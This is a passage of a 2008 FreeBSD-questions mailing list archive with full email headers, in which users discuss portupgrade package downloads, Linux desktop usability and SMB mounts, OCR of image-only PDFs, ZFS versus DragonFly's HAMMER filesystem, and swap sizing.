02132185562 > Phone 081574217035 > Fax 02153651465 > Web http://www.jpnn.com > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 18:41:50 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 705B1106564A; Tue, 2 Dec 2008 18:41:50 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from mail.rachie.is-a-geek.net (rachie.is-a-geek.net [66.230.99.27]) by mx1.freebsd.org (Postfix) with ESMTP id 38F718FC12; Tue, 2 Dec 2008 18:41:50 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from localhost (mail.rachie.is-a-geek.net [192.168.2.101]) by mail.rachie.is-a-geek.net (Postfix) with ESMTP id 56924AFC1C6; Tue, 2 Dec 2008 09:41:49 -0900 (AKST) From: Mel To: freebsd-questions@freebsd.org Date: Tue, 2 Dec 2008 19:41:47 +0100 User-Agent: KMail/1.9.7 References: <200812021722.54517.fbsd.questions@rachie.is-a-geek.net> <82180575@bb.ipt.ru> In-Reply-To: <82180575@bb.ipt.ru> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200812021941.47714.fbsd.questions@rachie.is-a-geek.net> Cc: Boris Samorodov , Beech Rintoul , Javier Vasquez , andrew clarke Subject: Re: [freebsd-questions] Looking @ upgrades mechanisms... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 18:41:50 -0000 On Tuesday 02 December 2008 19:03:44 Boris Samorodov wrote: > Mel writes: > > On Tuesday 02 December 2008 17:13:58 andrew clarke wrote: > >> On Tue 2008-12-02 09:28:44 UTC+0100, Mel > > > > (fbsd.questions@rachie.is-a-geek.net) wrote: > >> > Portupgrade -PP is detrimental for bandwidth. It's not really > >> > portupgrade's fault (well, partially, it shouldn't offer the feature), > >> > because it will quite often download Latest/foo.tbz, unpack it > >> > entirely and then say "oops, I downloaded this useless package which > >> > is older or equal to what you have installed". > >> > >> Yes, this happens. -PP is not ideal for regular updates but it's > >> still useful for when you have a new FreeBSD install with no packages > >> installed, and want to get up and running quickly, grabbing the most > >> recent binaries of all your favourite ports instead of building them > >> all from source. > > > > That's infinitely slower than pkg_add -r . > > Don't use "portupgrade -NPP ". ;-) > But "portupgrade -PP " really *upgrades* packages. Don't assume that the @pkgdep lines in a given package on the FreeBSD servers will always point to an existing package. If it doesn't, watch what happens: Latest/foo.tbz based on s/@name (.*)-[^-]+$/$1/ extract foo.tbz entirely, rather then just +CONTENTS which is the first file in the tar archive find out that foo = foo-older-then-installed and discard the package I've solved this myself with an index format like this: # bzcat /var/pkg/7-stable/All/INDEX.bz2 |tail -1 archivers/zip:zip-3.0.tbz:72f4fcc337c74240eaa8ae989a452835231fe7ff32c7469094e3a5fe411d7430:181194 $origin:$pkgname.tbz:$sha256:$size High level view: Compare btree of /var/db/pkg with btree of indexfile, download and upgrade. Saves bogus downloads and doesn't need a portstree. Cons: buildserver needs to periodically create the index, index needs to be downloaded. -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 18:44:21 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id A777E1065673 for ; Tue, 2 Dec 2008 18:44:21 +0000 (UTC) (envelope-from rvm@CBORD.com) Received: from smssmtp.cbord.com (mx1.cbord.com [24.39.174.11]) by mx1.freebsd.org (Postfix) with ESMTP id 683F48FC17 for ; Tue, 2 Dec 2008 18:44:21 +0000 (UTC) (envelope-from rvm@CBORD.com) X-AuditID: ac1f0165-00000c74000004b8-75-493582390dbe Received: from Email.cbord.com ([10.1.1.100]) by smssmtp.cbord.com with Microsoft SMTPSVC(6.0.3790.1830); Tue, 2 Dec 2008 13:45:12 -0500 X-MIMEOLE: Produced By Microsoft Exchange V6.5 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Date: Tue, 2 Dec 2008 13:41:43 -0500 Message-ID: In-Reply-To: <20081202162808.GA5851@kokopelli.hydra> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: FreeBSD and hardware?? Thread-Index: AclUmtOGLld1YF7vRoetKGgX82W/OQADmJQg References: <20081121211828.GA9493@kokopelli.hydra> <20081202162808.GA5851@kokopelli.hydra> From: "Bob McConnell" To: "Chad Perrin" , X-Brightmail-Tracker: AAAAAA== Cc: Subject: RE: FreeBSD and hardware?? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 18:44:21 -0000 On Behalf Of Chad Perrin > On Mon, Dec 01, 2008 at 01:25:24PM -0500, Bob McConnell wrote: >> On Behalf Of Chad Perrin >>=20 >> On the other hand, both Unix and Linux have a long way to go before they >> can match Microsoft's ease of use on the GUI. I believe the best way >> to attack that problem is to find a new paradigm to replace the desktop, >> which is not a great interface model to begin with. >=20 > I guess that depends on your definition of "ease of use". In my little > world, "ease of use" involves the ease, efficiency, and speed of task > completion via an interface with which I'm familiar. It seems from what > you said that in your little world "ease of use" means "familiarity", > since that's really the major win for MS Windows interfaces, to the > majority of its users. Here are two simple tests for ease of use. 1. View a tree of files and directories, some local some remote mounts. Highlight a random group of those objects. Move the entire group in one motion by dragging and dropping the collection to a new location in the tree. 2. Do an SMB mount of remote directories onto the desktop or your home directory. Open any application and access files in that directory as easily as when they are on the local drive. I have not been able to do either of these on Ubuntu 7.10 or XFCE/Slackware 12. In the first case, I need to cut and paste the individual files one at a time. I can't even move a directory. In the second, I have been unable to get Amarok, vlc, xine or any other multimedia application I have tried, to recognize the SMB mounted directory. It is invisible to them. At the application level there should be absolutely no difference between a local drive and a mounted remote drive, no matter what protocol was used to mount it. The application should not need to implement smb:// itself. I am not even going to talk about how difficult it is to find and modify basic configuration files, particularly after the LSB crowd really screwed everything up. Once you fix basic problems like these, then we can talk about how to redefine ease of use. Bob McConnell From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 18:56:23 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 1186F1065687 for ; Tue, 2 Dec 2008 18:56:23 +0000 (UTC) (envelope-from rsmith@xs4all.nl) Received: from smtp-vbr7.xs4all.nl (smtp-vbr7.xs4all.nl [194.109.24.27]) by mx1.freebsd.org (Postfix) with ESMTP id 81C9E8FC18 for ; Tue, 2 Dec 2008 18:56:22 +0000 (UTC) (envelope-from rsmith@xs4all.nl) Received: from slackbox.xs4all.nl (slackbox.xs4all.nl [213.84.242.160]) by smtp-vbr7.xs4all.nl (8.13.8/8.13.8) with ESMTP id mB2IuKF2073424; Tue, 2 Dec 2008 19:56:20 +0100 (CET) (envelope-from rsmith@xs4all.nl) Received: by slackbox.xs4all.nl (Postfix, from userid 1001) id C82C4BA8C; Tue, 2 Dec 2008 19:56:19 +0100 (CET) Date: Tue, 2 Dec 2008 19:56:19 +0100 From: Roland Smith To: Robert Huff Message-ID: <20081202185619.GA44591@slackbox.xs4all.nl> References: <20081201231440.GA30682@thought.org> <20081202010730.GA15970@slackbox.xs4all.nl> <18740.36349.523718.591189@jerusalem.litteratus.org> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="gBBFr7Ir9EOA20Yy" Content-Disposition: inline In-Reply-To: <18740.36349.523718.591189@jerusalem.litteratus.org> X-GPG-Fingerprint: 1A2B 477F 9970 BA3C 2914 B7CE 1277 EFB0 C321 A725 X-GPG-Key: http://www.xs4all.nl/~rsmith/pubkey.txt X-GPG-Notice: If this message is not signed, don't assume I sent it! User-Agent: Mutt/1.5.18 (2008-05-17) X-Virus-Scanned: by XS4ALL Virus Scanner Cc: FreeBSD Mailing List Subject: Re: any way to turn a pdf file into something OCR-able? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 18:56:23 -0000 --gBBFr7Ir9EOA20Yy Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Dec 01, 2008 at 08:23:09PM -0500, Robert Huff wrote: >=20 > Roland Smith writes: >=20 > > > pdftotext fail on the large [32MB] file I've got. Is there any > > > other way I can translate this huge textfile to ascii or html or > > > text? > > =20 >=20 > > Please define "fail" in this context? I've used pdftotxt on > > documents exceeding 40MB. However there are of course things that > > don't work; > > =20 > > 1) Some PDFs are just wrappers around JPEG images. In this case > > there is no text for pdftotext to convert =3D> epic fail. >=20 > In this case "convert" from the ImageMagick port will get you a > series of .jpg/.gif/.. Read the manual carefully before > attempting; also note this can be a slow process. Which still doesn't give plain text. But in this case one would need an OCR app. There is a new one available in ports called cuneiform. It is supposed to be quite good, but I haven't had the need to try it yet.=20 I've tried gocr and tesseract in the past but was not really impressed with them. For short documents it's easier to do the OCR with the Mk I eyeball & brain. :-) You'll have to completely check an OCR-ed document for errors anyway. Roland --=20 R.F.Smith http://www.xs4all.nl/~rsmith/ [plain text _non-HTML_ PGP/GnuPG encrypted/signed email much appreciated] pgp: 1A2B 477F 9970 BA3C 2914 B7CE 1277 EFB0 C321 A725 (KeyID: C321A725) --gBBFr7Ir9EOA20Yy Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.9 (FreeBSD) iEYEARECAAYFAkk1hNMACgkQEnfvsMMhpyUkVwCfWhgOuc0FblhkBCEpp4m7dDtj WCIAn0O3AKVveUrIdzQ1fpsn46xIX6/9 =wWj3 -----END PGP SIGNATURE----- --gBBFr7Ir9EOA20Yy-- From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 19:00:59 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 42797106564A for ; Tue, 2 Dec 2008 19:00:59 +0000 (UTC) (envelope-from freebsd-questions@m.gmane.org) Received: from ciao.gmane.org (main.gmane.org [80.91.229.2]) by mx1.freebsd.org (Postfix) with ESMTP id E59D38FC0C for ; Tue, 2 Dec 2008 19:00:58 +0000 (UTC) (envelope-from freebsd-questions@m.gmane.org) Received: from list by ciao.gmane.org with local (Exim 4.43) id 1L7aUT-0001Lo-8A for freebsd-questions@freebsd.org; Tue, 02 Dec 2008 19:00:57 +0000 Received: from 78-1-146-48.adsl.net.t-com.hr ([78.1.146.48]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 02 Dec 2008 19:00:57 +0000 Received: from ivoras by 78-1-146-48.adsl.net.t-com.hr with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 02 Dec 2008 19:00:57 +0000 X-Injected-Via-Gmane: http://gmane.org/ To: freebsd-questions@freebsd.org From: Ivan Voras Date: Tue, 02 Dec 2008 20:00:46 +0100 Lines: 35 Message-ID: References: <200812010959.15647.kirk@strauser.com> <4934E276.3050308@comcast.net> <9bbcef730812020120w539a8f14jc496b14c2fbd52ad@mail.gmail.com> <20081202110922.T14849@wojtek.tensor.gdynia.pl> <20081202170805.GA20420@ourbrains.org> <20081202190351.Q16084@wojtek.tensor.gdynia.pl> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="------------enig7101167A98CE2B07CDDA4A26" X-Complaints-To: usenet@ger.gmane.org X-Gmane-NNTP-Posting-Host: 78-1-146-48.adsl.net.t-com.hr User-Agent: Thunderbird 2.0.0.18 (Windows/20081105) In-Reply-To: <20081202190351.Q16084@wojtek.tensor.gdynia.pl> X-Enigmail-Version: 0.95.7 Sender: news Subject: Re: Disenchanted with ZFS; alternatives? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 19:00:59 -0000 This is an OpenPGP/MIME signed message (RFC 2440 and 3156) --------------enig7101167A98CE2B07CDDA4A26 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Wojciech Puchar wrote: >> >> It's already usable on DragonFly. DragonFLY itself is stable, but only= >> supports one CPUIt probably will never be ported to FreeBSD due to >> API differences. >=20 > time to wait and see if they will really make dragonfly faster than > FreeBSD (it's their goal)... http://people.freebsd.org/~kris/scaling/dfly.html Good luck to them, they need it :) --------------enig7101167A98CE2B07CDDA4A26 Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iEYEARECAAYFAkk1hd8ACgkQldnAQVacBchE1wCffgVASNTMl0rj6I7A3oh+7bAC zwgAn1d0AwigUyHpSXU9tDwwz1P7JWKZ =xiRS -----END PGP SIGNATURE----- --------------enig7101167A98CE2B07CDDA4A26-- From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 19:01:35 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 775CC1065680 for ; Tue, 2 Dec 2008 19:01:35 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id CE55E8FC26 for ; Tue, 2 Dec 2008 19:01:33 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB2J1NNr016311; Tue, 2 Dec 2008 20:01:23 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB2J1MCg016308; Tue, 2 Dec 2008 20:01:23 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Tue, 2 Dec 2008 20:01:22 +0100 (CET) From: Wojciech Puchar To: Jerry McAllister In-Reply-To: <20081202182554.GA90678@gizmo.acns.msu.edu> Message-ID: <20081202200112.L16307@wojtek.tensor.gdynia.pl> References: <1822530854-1228237014-cardhu_decombobulator_blackberry.rim.net-916388807-@bxe1001.bisx.prodap.on.blackberry> <20081202182554.GA90678@gizmo.acns.msu.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: "Anthony M. Rasat" , freebsd-questions@freebsd.org Subject: Re: To swap or not to swap X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 19:01:35 -0000 > Yes, have some swap. The system uses this space for more than swapping > out processes. It uses it for paging and for crash dumping. The > rule of thumb is 2.2 times memory size. why not 2.17? From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 19:02:29 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id DD29A1065673 for ; Tue, 2 Dec 2008 19:02:28 +0000 (UTC) (envelope-from michael.copeland@gmail.com) Received: from mail-qy0-f18.google.com (mail-qy0-f18.google.com [209.85.221.18]) by mx1.freebsd.org (Postfix) with ESMTP id 4DF968FC1C for ; Tue, 2 Dec 2008 19:02:28 +0000 (UTC) (envelope-from michael.copeland@gmail.com) Received: by qyk11 with SMTP id 11so3685849qyk.19 for ; Tue, 02 Dec 2008 11:02:27 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from :user-agent:mime-version:to:cc:subject:references:in-reply-to :content-type; bh=0y/Rmwhza4qGFlqfM8o/eJEI548k2SxmjWmYh8yXVbE=; b=qM6FdyGj2YZrgJcAfLshnZwBueUHTZA0qehCISERSWKKYVCxd9khep1UzB3MJRgcYE 7YZ4KJFIYYxD+M/yMxTVN7ZSuBif+NSJSsdCfnHGNbiAT+A7ttqRqWTxBHlUr30QtEXo SpHbuz7wgD2FOAhG0MJsUW2KBI+etxKolxc5Q= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:user-agent:mime-version:to:cc:subject :references:in-reply-to:content-type; b=bbRDasRqR4y5SgWuA9HCj/dOQkxYuTemCOX1s6Zh3hd+IAC/lEKZTy0hpD6pzzoyHm Q5nti91Z8+BZ5RcoSbahMlA38KaV854KVwG/O3yNwdzAWJPlyrKfsUL+N9oLeU8JsaCI H8MrQnLGVoxihFx16rROnz7h4RC+D92WJy6d4= Received: by 10.214.114.14 with SMTP id m14mr12026627qac.145.1228244547341; Tue, 02 Dec 2008 11:02:27 -0800 (PST) Received: from ?192.168.1.148? (adsl-074-245-053-043.sip.jax.bellsouth.net [74.245.53.43]) by mx.google.com with ESMTPS id 9sm1266757yws.31.2008.12.02.11.02.25 (version=TLSv1/SSLv3 cipher=RC4-MD5); Tue, 02 Dec 2008 11:02:26 -0800 (PST) Message-ID: <49358640.3060600@gmail.com> Date: Tue, 02 Dec 2008 14:02:24 -0500 From: michael User-Agent: Thunderbird 2.0.0.17 (X11/20080925) MIME-Version: 1.0 To: Bob McConnell References: <20081121211828.GA9493@kokopelli.hydra> <20081202162808.GA5851@kokopelli.hydra> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: freebsd-questions@freebsd.org Subject: Re: FreeBSD and hardware?? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 19:02:29 -0000 Bob McConnell wrote: > On Behalf Of Chad Perrin > >> On Mon, Dec 01, 2008 at 01:25:24PM -0500, Bob McConnell wrote: >> >>> On Behalf Of Chad Perrin >>> >>> On the other hand, both Unix and Linux have a long way to go before >>> > they > >>> can match Microsoft's ease of use on the GUI. I believe the best way >>> to attack that problem is to find a new paradigm to replace the >>> > desktop, > >>> which is not a great interface model to begin with. >>> >> I guess that depends on your definition of "ease of use". In my >> > little > >> world, "ease of use" involves the ease, efficiency, and speed of task >> completion via an interface with which I'm familiar. It seems from >> > what > >> you said that in your little world "ease of use" means "familiarity", >> since that's really the major win for MS Windows interfaces, to the >> majority of its users. >> > > Here are two simple tests for ease of use. > > 1. View a tree of files and directories, some local some remote mounts. > Highlight a random group of those objects. Move the entire group in one > motion by dragging and dropping the collection to a new location in the > tree. > > 2. Do an SMB mount of remote directories onto the desktop or your home > directory. Open any application and access files in that directory as > easily as when they are on the local drive. > > I have not been able to do either of these on Ubuntu 7.10 or > XFCE/Slackware 12. In the first case, I need to cut and paste the > individual files one at a time. I can't even move a directory. In the > second, I have been unable to get Amarok, vlc, xine or any other > multimedia application I have tried, to recognize the SMB mounted > directory. It is invisible to them. At the application level there > should be absolutely no difference between a local drive and a mounted > remote drive, no matter what protocol was used to mount it. The > application should not need to implement smb:// itself. > > I am not even going to talk about how difficult it is to find and modify > basic configuration files, particularly after the LSB crowd really > screwed everything up. > > Once you fix basic problems like these, then we can talk about how to > redefine ease of use. > > Bob McConnell > ease of use is always relative to the person using. > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 19:04:55 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id BAA461065672 for ; Tue, 2 Dec 2008 19:04:55 +0000 (UTC) (envelope-from michael.copeland@gmail.com) Received: from mail-qy0-f18.google.com (mail-qy0-f18.google.com [209.85.221.18]) by mx1.freebsd.org (Postfix) with ESMTP id 5E99A8FC14 for ; Tue, 2 Dec 2008 19:04:55 +0000 (UTC) (envelope-from michael.copeland@gmail.com) Received: by qyk11 with SMTP id 11so3687611qyk.19 for ; Tue, 02 Dec 2008 11:04:54 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from :user-agent:mime-version:to:cc:subject:references:in-reply-to :content-type; bh=Jqb9pw4InaHPA3ok0fCnbe2P7LIN/Y3qX943YPRLCwU=; b=n6ajuzzoH2AE/CqYPkDN9o9cPtE1YVLGcan/JXOhxGRViElL8RpXNlNsSD6PpqUdW4 gjmRZ/iM53+z4RlhoF7ZUZLWPRu8gKPFyOzItdZ993YAsPFV91ch3NqxlQdEuGuIEIJN +MHsJwBnQfrcPJaCJsP5KUvEJmQkgT74H6YFc= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:user-agent:mime-version:to:cc:subject :references:in-reply-to:content-type; b=FixQXi28DNR5V/NNrO6WIO/QCS3Of04T92ATSJFryDrsiJYaxeFCT4p5QfmN8K36cJ DwfpCS+PdhyMYnNa826RiGlT9cIr0cClAQJsAWIlYNWXPXSQDAibyLuwhhCEaOsKGt8Z VYkXFC7zuCLmhL8mholp65VvvdQ4ARbYrLMVY= Received: by 10.215.38.17 with SMTP id q17mr12045730qaj.32.1228244694201; Tue, 02 Dec 2008 11:04:54 -0800 (PST) Received: from ?192.168.1.148? (adsl-074-245-053-043.sip.jax.bellsouth.net [74.245.53.43]) by mx.google.com with ESMTPS id 6sm1902427ywc.27.2008.12.02.11.04.52 (version=TLSv1/SSLv3 cipher=RC4-MD5); Tue, 02 Dec 2008 11:04:53 -0800 (PST) Message-ID: <493586D3.6040703@gmail.com> Date: Tue, 02 Dec 2008 14:04:51 -0500 From: michael User-Agent: Thunderbird 2.0.0.17 (X11/20080925) MIME-Version: 1.0 To: Bob McConnell References: <20081121211828.GA9493@kokopelli.hydra> <20081202162808.GA5851@kokopelli.hydra> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: freebsd-questions@freebsd.org Subject: Re: FreeBSD and hardware?? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 19:04:55 -0000 Bob McConnell wrote: > On Behalf Of Chad Perrin > >> On Mon, Dec 01, 2008 at 01:25:24PM -0500, Bob McConnell wrote: >> >>> On Behalf Of Chad Perrin >>> >>> On the other hand, both Unix and Linux have a long way to go before >>> > they > >>> can match Microsoft's ease of use on the GUI. I believe the best way >>> to attack that problem is to find a new paradigm to replace the >>> > desktop, > >>> which is not a great interface model to begin with. >>> >> I guess that depends on your definition of "ease of use". In my >> > little > >> world, "ease of use" involves the ease, efficiency, and speed of task >> completion via an interface with which I'm familiar. It seems from >> > what > >> you said that in your little world "ease of use" means "familiarity", >> since that's really the major win for MS Windows interfaces, to the >> majority of its users. >> > > Here are two simple tests for ease of use. > > 1. View a tree of files and directories, some local some remote mounts. > Highlight a random group of those objects. Move the entire group in one > motion by dragging and dropping the collection to a new location in the > tree. > > 2. Do an SMB mount of remote directories onto the desktop or your home > directory. Open any application and access files in that directory as > easily as when they are on the local drive. > > I have not been able to do either of these on Ubuntu 7.10 or > XFCE/Slackware 12. In the first case, I need to cut and paste the > individual files one at a time. I can't even move a directory. In the > second, I have been unable to get Amarok, vlc, xine or any other > multimedia application I have tried, to recognize the SMB mounted > directory. It is invisible to them. At the application level there > should be absolutely no difference between a local drive and a mounted > remote drive, no matter what protocol was used to mount it. The > application should not need to implement smb:// itself. > > I am not even going to talk about how difficult it is to find and modify > basic configuration files, particularly after the LSB crowd really > screwed everything up. > > Once you fix basic problems like these, then we can talk about how to > redefine ease of use. > > Bob McConnell > also, my vlc sees any mounted drive or directory, no matter the protocol. so does mplayer, etc. i don't know why your system doesn't operate correctly, but i don't have that issue at all. e,g: /mnt/Azureus Downloads this mount is mounted over samba from a computer on the other side of the house, and i see everything on it and play my files over the network. > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 19:05:06 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 0704B106571C for ; Tue, 2 Dec 2008 19:05:06 +0000 (UTC) (envelope-from freebsd-questions@m.gmane.org) Received: from ciao.gmane.org (main.gmane.org [80.91.229.2]) by mx1.freebsd.org (Postfix) with ESMTP id 7C8718FC0C for ; Tue, 2 Dec 2008 19:05:05 +0000 (UTC) (envelope-from freebsd-questions@m.gmane.org) Received: from root by ciao.gmane.org with local (Exim 4.43) id 1L7aYQ-0001Wj-G2 for freebsd-questions@freebsd.org; Tue, 02 Dec 2008 19:05:02 +0000 Received: from 78-1-146-48.adsl.net.t-com.hr ([78.1.146.48]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 02 Dec 2008 19:05:02 +0000 Received: from ivoras by 78-1-146-48.adsl.net.t-com.hr with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 02 Dec 2008 19:05:02 +0000 X-Injected-Via-Gmane: http://gmane.org/ To: freebsd-questions@freebsd.org From: Ivan Voras Date: Tue, 02 Dec 2008 20:04:04 +0100 Lines: 41 Message-ID: References: <200812010959.15647.kirk@strauser.com> <4934E276.3050308@comcast.net> <9bbcef730812020120w539a8f14jc496b14c2fbd52ad@mail.gmail.com> <20081202110922.T14849@wojtek.tensor.gdynia.pl> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="------------enig3A750D5A66DE4D6B06C2920B" X-Complaints-To: usenet@ger.gmane.org X-Gmane-NNTP-Posting-Host: 78-1-146-48.adsl.net.t-com.hr User-Agent: Thunderbird 2.0.0.18 (Windows/20081105) In-Reply-To: <20081202110922.T14849@wojtek.tensor.gdynia.pl> X-Enigmail-Version: 0.95.7 Sender: news Subject: Re: Disenchanted with ZFS; alternatives? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 19:05:06 -0000 This is an OpenPGP/MIME signed message (RFC 2440 and 3156) --------------enig3A750D5A66DE4D6B06C2920B Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Wojciech Puchar wrote: >> >>> What about DragonFlyBSD's new HAMMER FS? I hear it has similar >>> capabilities >>> as ZFS without the overhead. Though, strangely, I haven't really hea= rd >>> anyone discuss it even though it was released some months ago. >=20 > it's maybe pre-pre-prerelease. >=20 > it's not finished yet. I don't think HAMMER intends to implement a significant portion of ZFS's features. In particular, IIRC Matt specifically said he won't do anything about volume management (the data storage / RAID layer of ZFS) which among many other things means no ad-hoc file system creation. Also, HAMMER needs to be "vacuumed" periodically by design (the reason for this seems to me similar to that of pgsql) which isn't a particularly nice design. --------------enig3A750D5A66DE4D6B06C2920B Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iEYEARECAAYFAkk1hqQACgkQldnAQVacBchb2wCg3kn5wk6oBgSLTtHcq2ahokNp HQ8AoNoeA5L8qSsVIQQ9MMBx6PwDyr4d =FqqU -----END PGP SIGNATURE----- --------------enig3A750D5A66DE4D6B06C2920B-- From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 19:13:04 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org 